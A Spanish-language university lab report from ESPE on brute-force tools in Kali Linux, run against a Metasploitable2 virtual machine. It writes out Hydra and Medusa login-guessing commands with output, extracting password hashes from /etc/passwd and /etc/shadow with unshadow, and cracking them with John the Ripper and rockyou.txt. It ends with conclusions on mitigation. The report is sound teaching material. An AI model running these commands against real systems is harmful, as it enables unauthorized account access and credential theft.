



Departamento de Ciencias de la Computación  
Universidad de las Fuerzas Armadas - ESPE

## Práctica de Laboratorio No. 2

Evaluación de herramientas de fuerza bruta en Kali  
Linux

**Nombres:**

Yeshua Amador Chiliquinga Amaya  
Cesar Ignacio Loor Mercado

**Carrera / Asignatura:** Ingeniería de Software / Ingeniería de  
Seguridad de Software

**NRC:** 23358

**Nombre del profesor:** Walter Fuertes, PhD

**Fecha de presentación:** 24 de mayo del 2025

# Índice

Índice	1
Objetivo de Aprendizaje	1
Bibliografía	1
Topología del Experimento	1
Marco Teórico	2
0.1. Autenticación vs Identificación . . . . .	2
1. Desarrollo	2
Resultados	5
Conclusiones	5

# Objetivo de Aprendizaje

Los estudiantes comprenderán el funcionamiento de las herramientas de fuerza bruta incluidas en Kali Linux al configurarlas y ejecutarlas en un entorno controlado utilizando un entorno virtual de red, evaluando su efectividad y limitaciones.

## Bibliografía

## Topología del Experimento

```
> hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt 192.168.112.137 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-13 00:49:07
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 205761782671201 login tries (l:14344399/p:14344399), ~12860111416951 tries per task
[DATA] attacking ftp://192.168.112.137:21/
```

Figura 1: Interfaz de Hydra

```
Resume session.
> medusa -u msfadmin -P /usr/share/wordlists/rockyou.txt -h 192.168.112.137 -M ssh
Medusa v2.3_rc1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

2025-05-13 00:50:42 ACCOUNT CHECK: [ssh] Host: 192.168.112.137 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: 123456 (1 of 14344391 complete)
2025-05-13 00:50:45 ACCOUNT CHECK: [ssh] Host: 192.168.112.137 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: 12345 (2 of 14344391 complete)
2025-05-13 00:50:47 ACCOUNT CHECK: [ssh] Host: 192.168.112.137 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: 123456789 (3 of 14344391 complete)
2025-05-13 00:50:49 ACCOUNT CHECK: [ssh] Host: 192.168.112.137 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: password (4 of 14344391 complete)
2025-05-13 00:50:52 ACCOUNT CHECK: [ssh] Host: 192.168.112.137 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: iloveyou (5 of 14344391 complete)
```

Figura 2: Interfaz de Medusa

- Kali Linux.
- Una máquina objetivo con un sistema operativo como Metasploitable2, o un Servidor SSH o Web server.

- Documentos con usuarios y contraseñas para los ataques (Diccionarios).
- Lista de herramientas sugeridas: John the Ripper, Hydra, Medusa, Burp Suite, o Hashcat.

## Marco Teórico

Un ataque de fuerza bruta está dirigido contra la autenticación en el contexto de seguridad de la información. Vamos a desglosar los conceptos para entenderlo mejor:

### 0.1. Autenticación vs Identificación

**Identificación:** Proceso de declarar quién eres.

Ejemplo: Proporcionar un nombre de usuario o un identificador único, como un correo electrónico.

Pregunta clave: ¿Quién eres?

**Autenticación:** Proceso de verificar que eres quien dices ser.

Ejemplo: Proporcionar una contraseña, token, huella digital, o responder a un desafío basado en un factor de autenticación.

Pregunta clave: ¿Puedes demostrarlo?

## El Ataque de Fuerza Bruta

Un ataque de fuerza bruta intenta adivinar credenciales de autenticación, como contraseñas o claves. Se realiza probando sistemáticamente combinaciones de contraseñas o valores posibles hasta encontrar la correcta.

Propósito principal: Comprometer la autenticación (demostrar que se tienen las credenciales válidas).

No compromete directamente la identificación, porque esta etapa ya suele estar completa (el atacante usualmente conoce o asume un identificador, como un nombre de usuario).

## 1. Desarrollo

### Ejecución de los Ataques utilizando John the Ripper: Crackear un hash de contraseña

1. Extraer hashes con unshadow:

```
1 unshadow /etc/passwd /etc/shadow > hashes.txt
2
```

```
Using default input encoding: UTF-8
Reading hashes.txt
Press 'q' or Ctrl-C to abort, almost
any other key for status
```

```
Loaded 4 password hashes with no different salts
(sh512crypt, crypt(3) $6$)
Will run 4 OpenMP threads
```

```
Proceeding with single, rules:Single
0g 0:00:00:00 DONE (2025-05-20 16:35) 0g/s 1306Kp/s
1306Kc/s 1306KC/s 123..123
Session completed
```

## 2. Ejecutar John:

```
1 john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
2
```

```
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts
(sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Will run 4 OpenMP threads
Proceeding with wordlist:
/usr/share/wordlists/rockyou.txt
```

```
Press 'q' or Ctrl-C to abort,
almost any other key for status
Loaded 4 password hashes with no different salts
(sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Proceeding with wordlist:
/usr/share/wordlists/rockyou.txt
```

```
Press 'q' or Ctrl-C to abort, almost any other
key for status
Proceeding with incremental:ASCII
Loaded 4 password hashes with no different salts
(sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Proceeding with incremental:ASCII
Press 'q' or Ctrl-C to abort, almost any other
key for status
```

## Crear el archivo hashes.txt

El archivo `hashes.txt` es un archivo que contiene hashes de contraseñas, y es utilizado por herramientas como John the Ripper o Hashcat para crackear contraseñas. Para construirlo, necesitas extraer los hashes de contraseñas desde un sistema o crearlos manualmente.

## Extraer hashes de un sistema Linux

Si estás trabajando en un entorno controlado con un sistema Linux, los hashes de contraseñas se almacenan en los archivos `/etc/shadow` y `/etc/passwd`. Sigue estos pasos para extraerlos:

1. **Acceso al sistema:** Asegúrate de tener permisos de superusuario (`root`) en el sistema donde deseas extraer los hashes.

2. **Combinar passwd y shadow:** Utiliza el comando `unshadow` para combinar los archivos `/etc/passwd` y `/etc/shadow` en un formato que pueda usar John the Ripper.

```
1 unshadow /etc/passwd /etc/shadow > hashes.txt
2
```

Using default input encoding: UTF-8

Reading hashes.txt

Press 'q' or Ctrl-C to abort, almost any other key for status

Loaded 4 password hashes with no different salts

(sha512crypt, crypt(3) \$6\$)

Will run 4 OpenMP threads

Proceeding with single, rules:Single

0g 0:00:00:00 DONE (2025-05-20 16:35) 0g/s 1306Kp/s

1306Kc/s 1306KC/s 123..123

Session completed

Esto generará un archivo `hashes.txt` que contiene las credenciales (en formato hash) de las cuentas locales.

## ¿Qué es el archivo `rockyou.txt`?

El archivo `rockyou.txt` es una lista de contraseñas comúnmente utilizada en pruebas de penetración y auditorías de seguridad. Contiene millones de contraseñas filtradas, ordenadas por popularidad, que provienen de una brecha masiva de datos del sitio de redes sociales RockYou en 2009. Es ampliamente empleado para realizar ataques de fuerza bruta y pruebas de diccionario en herramientas como Hydra, John the Ripper, Medusa, y Hashcat.

### Ubicación del archivo en Kali Linux

El archivo `rockyou.txt` está preinstalado en Kali Linux, pero está comprimido por defecto para ahorrar espacio en disco. Puedes encontrarlo en la siguiente ruta:

`/usr/share/wordlists/rockyou.txt.gz`

### Cómo descomprimir el archivo `rockyou.txt`

Para usar este archivo, primero necesitas descomprimirlo:

```
1 gunzip /usr/share/wordlists/rockyou.txt.gz
```

`rockyou.txt.gz: 52.5% -- replaced with rockyou.txt`

Ahora el archivo estará disponible en:

`/usr/share/wordlists/rockyou.txt`

```
> ls -l /usr/share/wordlists/
total 136648
lrwxrwxrwx 1 root root      26 Mar  7 07:14 amass -> /usr/share/amass/wordlists
lrwxrwxrwx 1 root root      25 Mar  7 07:14 dirb -> /usr/share/dirb/wordlists
lrwxrwxrwx 1 root root      30 Mar  7 07:14 dirbuster -> /usr/share/dirbuster/wordlists
lrwxrwxrwx 1 root root      35 Mar  7 07:14 dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt
lrwxrwxrwx 1 root root      41 Mar  7 07:14 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
lrwxrwxrwx 1 root root      45 Mar  7 07:14 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
lrwxrwxrwx 1 root root      28 Mar  7 07:14 john.lst -> /usr/share/john/password.lst
lrwxrwxrwx 1 root root      27 Mar  7 07:14 legion -> /usr/share/legion/wordlists
lrwxrwxrwx 1 root root      46 Mar  7 07:14 metasploit -> /usr/share/metasploit-framework/data/wordlists
lrwxrwxrwx 1 root root      41 Mar  7 07:14 nmap.lst -> /usr/share/nmap/nmaplib/data/passwords.lst
-rw-r--r-- 1 root root 139921507 May 12  2023 rockyou.txt
lrwxrwxrwx 1 root root      39 Mar  7 07:14 sqlmap.txt -> /usr/share/sqlmap/data/txt/wordlist.txt
lrwxrwxrwx 1 root root      25 Mar  7 07:14 wfuzz -> /usr/share/wfuzz/wordlist
lrwxrwxrwx 1 root root      37 Mar  7 07:14 wifite.txt -> /usr/share/dict/wordlist-probable.txt
```

Figura 3: Ubicación del archivo rockyou.txt en Kali Linux

## Resultados

Cada grupo debe registrar:

- Configuración del entorno.
- Comandos utilizados.
- Resultados obtenidos (éxito/fallo, tiempo, etc.).
- Limitaciones observadas en la herramienta.

## Plenaria de Análisis y Discusión

Cada grupo presenta sus hallazgos al resto de la clase:

- Comparar la efectividad de las herramientas.
- Identificar estrategias para mitigar ataques de fuerza bruta.

## Conclusiones

Un ataque de fuerza bruta se dirige contra la autenticación, ya que su objetivo es adivinar contraseñas, claves o factores de acceso relacionados con este proceso. Sin embargo, puede complementarse con ataques contra la identificación, como la enumeración de usuarios, para obtener más información sobre posibles objetivos.

La efectividad de los ataques de fuerza bruta depende de varios factores, como la complejidad de las contraseñas, las limitaciones impuestas por el sistema objetivo (por ejemplo, bloqueos tras múltiples intentos fallidos), y la calidad del diccionario utilizado.

En la práctica, los ataques tuvieron mayor éxito contra configuraciones inseguras o contraseñas débiles, resaltando la importancia de implementar contraseñas fuertes y mecanismos de defensa como límites de intentos y autenticación multifactor.

Los resultados demuestran que, aunque efectivos en ciertos escenarios, los ataques de fuerza bruta son altamente dependientes del contexto y consumen tiempo y recursos, especialmente contra sistemas bien configurados.

## Referencias

- Kali Linux Documentation. (2024). Tools Listing. Recuperado de <https://www.kali.org/tools/>
- Offensive Security. (2024). Metasploitable 2. Recuperado de <https://sourceforge.net/projects/metasploitable/>

- Bishop, M. (2019). Introduction to Computer Security. Boston, MA: Addison-Wesley.
- Katz, J., & Lindell, Y. (2020). Introduction to Modern Cryptography. Chapman & Hall/CRC.
- W Fuertes, M Macas, Ciberseguridad: Del ciber-crimen a los ataques ciber-físicos, Comité Editorial de la ESPE, Sangolquí, Ecuador. ISBN: 978-9942-765-88-8 1, 190